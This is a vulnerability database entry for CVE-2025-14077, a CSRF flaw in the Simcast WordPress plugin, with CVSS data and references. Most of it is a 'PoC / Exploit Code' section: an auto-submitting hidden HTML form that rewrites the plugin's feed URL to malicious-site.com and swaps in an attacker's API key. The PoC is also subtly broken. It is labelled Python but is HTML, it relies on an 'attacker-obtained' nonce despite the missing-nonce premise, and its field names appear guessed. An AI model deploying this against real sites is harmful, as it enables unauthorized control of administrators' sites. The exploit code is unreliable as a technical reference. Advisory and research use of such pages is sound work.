CVE-2025-14077

Description

The Simcast plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing or incorrect nonce validation on the settingsPage function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Simcast插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14077 -->
<!-- This PoC demonstrates how an attacker can trick a WordPress admin into modifying Simcast plugin settings -->

<!DOCTYPE html>
<html>
<head>
    <title>Simcast Plugin Settings</title>
</head>
<body>
    <h1>Plugin Configuration Update</h1>
    
    <!-- Hidden form that auto-submits -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Required WordPress nonce field - attacker can obtain from plugin source -->
        <input type="hidden" name="_wpnonce" value="ATTACKER_OBTAINED_NONCE">
        <input type="hidden" name="action" value="simcast_save_settings">
        
        <!-- Malicious settings payload -->
        <input type="hidden" name="simcast_feed_url" value="https://malicious-site.com/malicious-feed.xml">
        <input type="hidden" name="simcast_auto_publish" value="1">
        <input type="hidden" name="simcast_update_interval" value="60">
        
        <!-- Additional malicious configurations -->
        <input type="hidden" name="simcast_api_key" value="attacker_controlled_key">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this message, the attack failed.</p>
</body>
</html>

<!-- 
Attack methodology:
1. Attacker crafts a malicious HTML page with a hidden form
2. Form targets the vulnerable Simcast plugin's settings endpoint
3. Attacker uses social engineering to get WordPress admin to visit the page
4. Browser automatically sends the request with admin's valid session cookies
5. Since nonce validation is missing/incorrect, server accepts the forged request
6. Plugin settings are modified to attacker-controlled values
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14077
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14077
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14077/
[4] VulDB https://vuldb.com/cve/CVE-2025-14077
[5] https://plugins.trac.wordpress.org/browser/simcast/tags/1.0.0/Simcast_OptionsManager.php#L257
[6] https://plugins.trac.wordpress.org/browser/simcast/trunk/Simcast_OptionsManager.php#L257
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/e3917e1a-c230-46ad-9889-6ab233ecc4d0?source=cve

Raw JSON Data

JSON

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